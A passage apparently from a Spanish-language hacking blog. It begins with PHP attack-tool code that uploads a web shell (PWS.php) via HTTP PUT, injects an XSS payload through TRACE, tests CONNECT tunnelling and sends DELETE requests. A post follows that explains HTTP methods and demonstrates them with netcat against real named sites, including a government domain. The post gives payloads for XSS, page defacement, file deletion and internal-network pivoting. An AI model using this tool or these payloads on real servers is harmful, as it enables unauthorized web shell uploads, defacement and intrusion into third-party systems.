{
$shell = "PWS.php";
if (isset($_GET["host"]) && isset($_GET["puerto"])) {
$host = htmlentities($_GET["host"]);
if(is_numeric($_GET["puerto"]))
{
$puerto = htmlentities($_GET["puerto"]);
}
if(!$TimeOut) $sock = @fsockopen($host, $puerto); else $sock = @fsockopen($host, $puerto, &$errno, &$errstr, $TimeOut);
if(!$sock) {
echo "<h2>Puerto $puerto Cerrado</h2><br>";
exit();
}
$file = fopen($shell, "r");
$codigo = fread($file, filesize($shell));
fclose($file);
$lenght = strlen($codigo);
$head = @fputs($sock, "PUT /PWS.php HTTP/1.0\nHost: $host\nProxy-Connection: keep-alive\nContent-Type: multipart/form-data\nContent-Length: $lenght\nContent-Type: text/html\n\n$codigo\n\n");

while(!feof($sock) ) {
$buffer .= htmlentities(fgets($sock, 4096)); $buffer .= "<br>";
}
echo $buffer;
}
$error = "<br><br><b>Ataque Fallido, No Tenemos Permisos :(, Puedes Intentar con el header: Authorization.</b>";
$ok = "<br><br><b>Ataque Logrado :), Disfrutalo: http://$host/PWS.php</b>";

if(ereg("[HTTP/1.1 401 ]+[HTTP/1.1 301 ]+[HTTP/1.1 302 ]+[HTTP/1.1 203 ]+[HTTP/1.1 403 ]", $buffer))
{
echo $error;
}elseif(ereg("[HTTP/1.1 200 ]+[HTTP/1.1 201 ]+[HTTP/1.1 302 ]",$buffer))
{
echo $ok;
}

echo "<br><b>Posible Desborde de Buffer en Metodo PUT</b><br>";
}

######################################## TRACE ###################################
function trace()
{
$shell = "PWS.php";
if (isset($_GET["host"]) && isset($_GET["puerto"])) {
$host = htmlentities($_GET["host"]);
if(is_numeric($_GET["puerto"]))
{
$puerto = htmlentities($_GET["puerto"]);
}
if(!$TimeOut)
{
$sock = @fsockopen($host, $puerto);
}else{
$sock = @fsockopen($host, $puerto, &$errno, &$errstr, $TimeOut);
}
if(!$sock) {
echo "<h2>Puerto $puerto Cerrado</h2><br>";
exit();
}

$head = @fputs($sock, "TRACE / HTTP/1.0\nHost: $host\nXSS: <script>alert("XSS en TRACE")</script>\n\n");

while(!feof($sock) ) {
$buffer .= fgets($sock, 4096); $buffer .= "<br>";
}
echo $buffer;
if(ereg(""XSS en TRACE"", $buffer)) echo "<br><br><b>Vulnerable a XSS :)</b><br>";
if(ereg("TRACE / HTTP/1.0", $buffer)) echo "<br><b>Posibilidad de Ataques DoS, Mediante Consumo de Banda :)</b><br>";
}
}

#################################### CONNECT ################################
function connect()
{
if(isset($_GET["host"]) && isset($_GET["puerto"])) {
$host = htmlentities($_GET["host"]);
if(is_numeric($_GET["puerto"])) $puerto = $_GET["puerto"];
if(!$TimeOut)
{
$sock = @fsockopen($host, $puerto);
}else{
$sock = @fsockopen($host, $puerto, &$errno, &$errstr, $TimeOut);
}
if(!$sock) {
echo "<h2>Puerto $puerto Cerrado</h2><br>";
exit();
}

$head = @fputs($sock, "CONNECT www.google.com:80 HTTP/1.0\nHost: $host\nProxy-Connection: keep-alive\n\n");

while(!feof($sock) ) {
$buffer .= htmlentities(fgets($sock, 4096)); $buffer .= "<br>";
}
echo $buffer;
}
$error = "<br><br><b>Ataque Tuneling Fallido.</b>";
$ok = "<br><br><b>Ataque Tunneling Correcto :)</b>";

if(ereg("[HTTP/1.1 400 ]+[HTTP/1.1 405 ]+[HTTP/1.1 401 ]+[HTTP/1.1 301 ]+[HTTP/1.1 302 ]+[HTTP/1.1 302 ]+[HTTP/1.1 203 ]", $buffer))
{
echo $error;
}elseif(ereg("[HTTP/1.1 200 ]+[HTTP/1.1 201 ]",$buffer))
{
echo $ok;
}
}

delete.php

<?php
include("functions.php");
formulario();
opt();
if (isset($_POST["host"]) and isset($_POST["puerto"]) and isset($_POST["subx"])) {
$borrar = $_POST["borrar"];
$host = htmlentities($_GET["host"]);
if(is_numeric($_GET["puerto"]))
{
$puerto = $_GET["puerto"];
}
if(!$TimeOut)
{
$sock = @fsockopen($host, $puerto);
}else{
$sock = @fsockopen($host, $puerto, &$errno, &$errstr, $TimeOut);
}
if(!$sock) {
echo "<h2>Puerto $puerto Cerrado</h2><br>";
exit();
}
$head = @fputs($sock, "DELETE /$borrar HTTP/1.0\nHost: $host\nProxy-Connection: keep-alive\n\n");
$buffer = "";
while(!feof($sock) ) {
$buffer .= htmlentities(fgets($sock, 4096)); $buffer .= "<br>";
}
echo $buffer;
}
$error = "<br><br><b>Ataque Fallido, No Tenemos Permisos :(, Puedes Intentar con el header: Authorization.</b>";
$ok = "<br><br><b>Ataque Logrado :)</b>";

if(ereg("[HTTP/1.1 401 ]+[HTTP/1.1 301 ]+[HTTP/1.1 302 ]+[HTTP/1.1 203 ]", $buffer))
{
echo $error;
}elseif(ereg("[HTTP/1.1 200 ]+[HTTP/1.1 201 ]+[HTTP/1.1 302 ]",$buffer))
{
echo $ok;
}
?>

Demostracion Hacking HTTP

Posted on 13:05 by Xianur0

Esto es solo un texto de introducci�n, para mas informaci�n leer sobre protocolo HTTP.

Le puse este titulo a la web, por que en este texto voy a explicar un poco de hackeo mediante M�todos HTTP y HTTP Headers.

Pocos texto se encuentran en la red sobre hackeo por m�todos HTTP, as� que muchos como yo tuvimos que aprender por las malas jaja, bueno comencemos:

Que es un Metodo HTTP?


Un Metodo HTTP es una forma u orden HTTP que es enviada a un servidor web para que dicho servidor maneje dicha informaci�n de dicha forma.

Ejemplo:

Citar
GET / HTTP/1.1
Host: google.com

En este caso estamos usando el m�todo GET, dicho m�todo sirve para obtener una pagina especifica.

Que es un Header?

Un Header es una especie de variable que contiene cierta informaci�n, como el header cookie, que contiene la cookie para el host actual.

Ejemplo:
Citar
GET / HTTP/1.1
Host: google.com
Cookie: cookie = alguna_cookie


En este caso hay 2 headers, el header Host, que le dice al servidor que web solicitamos (esto se usa en servers compartidos o dominios y subdominios) y el header cookie que contiene una cookie de nombre cookie y valor alguna_cookie (que ironia xD).

Que M�todos HTTP Existen?

Existen muchos m�todos HTTP como para listar todos, pero listare los mas usados y su uso:

GET:
Solicita una pagina.
HEAD: Esto Devuelve solo los headers de la pagina solicitada.
OPTIONS: Solicita las opciones permitidas por el server web.
POST: Remite una informaci�n (como en un login).
TRACE: Es una especie de eco, es decir lo que env�es te contesta.
PUT: Guarda en su �rbol web el archivo o registro enviado.
CONNECT: Este M�todo crea una conexi�n con el servidor especificado, esto es �til para hacer tunnelings.
DELETE: Borra un Registro o Archivo especificado.

Vamos uno por uno con ejemplos:

Citar
UxMal ~ # nc -vvv www.cursohacker.com 80
DNS fwd/rev mismatch: www.cursohacker.com != alumnoz.com
www.cursohacker.com [64.246.22.103] 80 (http) open
OPTIONS / HTTP/1.1
Host: cursohacker.com

HTTP/1.1 200 OK
Date: Sat, 19 Jan 2008 21:18:54 GMT
Server: Apache/2.0.46 (Red Hat)
Allow: GET,HEAD,POST,OPTIONS,TRACE
Content-Length: 0
Content-Type: application/x-httpd-php

sent 42, rcvd 183
Enviamos un Options, y nos devolvi� los m�todos:

Citar
Allow: GET,HEAD,POST,OPTIONS,TRACE

Me dir�n y esto de que nos sirve?
Simple:

El metodo TRACE, a realizar un eco, podemos utilizarlo para hacer un XSS, y por enden un Cookie Spoofing, al mismo tiempo esto puede ser usado para Saltar la protecci�n HTTPOnly de las cookies, y aparte de esto, las protecciones de Consumo de Banda quedan b�sicamente in�tiles, ya que casi ninguna filtra el m�todo TRACE, por ello la banda no se cuenta y se puede utilizar para floodear al servidor.

Citar
TRACE / HTTP/1.0
Host: cursohacker.com
XSS: <script>alert('UxMal Was Here')</script>


Citar
TRACE / HTTP/1.0
Host: cursohacker.com
DoS: mucho texto

Como ver�n hasta los de cursohacker.com tienen problemas con esto jejeje, Bueno Vamos por mas:

Citar
UxMal ~ # nc -vvv www.sep.gob.mx 80
Warning: inverse host lookup failed for 168.255.253.26: Unknown host
www.sep.gob.mx [168.255.253.26] 80 (http) open
OPTIONS / HTTP/1.0
Host: sep.gob.mx

HTTP/1.1 200 OK
Server: Sun-ONE-Application-Server/7.0.0_09
Date: Sat, 19 Jan 2008 23:58:05 GMT
Content-length: 0
Content-type: text/html
Allow: GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Connection: close

sent 37, rcvd 217

Permite:

Citar
GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS

Vamos a Probar DELETE:
Citar
UxMal ~ # nc -vvv www.sep.gob.mx 80
Warning: inverse host lookup failed for 168.255.253.26: Unknown host
www.sep.gob.mx [168.255.253.26] 80 (http) open
DELETE /index.htm HTTP/1.1
Host: sep.gob.mx

HTTP/1.1 401 Unauthorized
Server: Sun-ONE-Application-Server/7.0.0_09
Date: Sun, 20 Jan 2008 00:02:22 GMT
Content-length: 223
Content-type: text/html
WWW-authenticate: Basic realm="Sun ONE Application Server"

<HTML><HEAD><TITLE>Unauthorized&lt/TITLE></HEAD&gt
<BODY><H1>Unauthorized</H1>
Proper authorization is required for this area. Either your browser does not perform authorization, or your authorization has failed.
</BODY></HTML>
P�rese que tiene un ligero filtro, como lo saltamos?, simple, creamos un header WWW-authenticate, com�nmente los servidores no tienen un password seteado para esto o casi siempre el usuario y/o password es el dominio.

Un PUT:

El Header PUT, como ya dije sirve para crear un archivo o registro en el �rbol web del server.

Por ello sirve como upload:

Citar
PUT /hacked.htm HTTP/1.1
Host: www.sep.gob.mx
Content-Lengt: cantidad de bites del archivo

<h1>UxMal Was Here</h1>


CONNECT:

Citar
CONNECT 192.168.1.1 HTTP/1.1
Host: webvulnerable.com

GET / HTTP/1.0


De esta Forma nos conectar�amos a la ip 192.168.1.1 (ip privada) dentro de la red del servidor web y solicitamos /, Lo De mas Queda a la imaginaci�n...

Esto es solo un texto de introducci�n, para mas informaci�n leer sobre protocolo HTTP.

Nota: estos m�todos son un poco viejos, pero como demostr� aun sirve jejeje.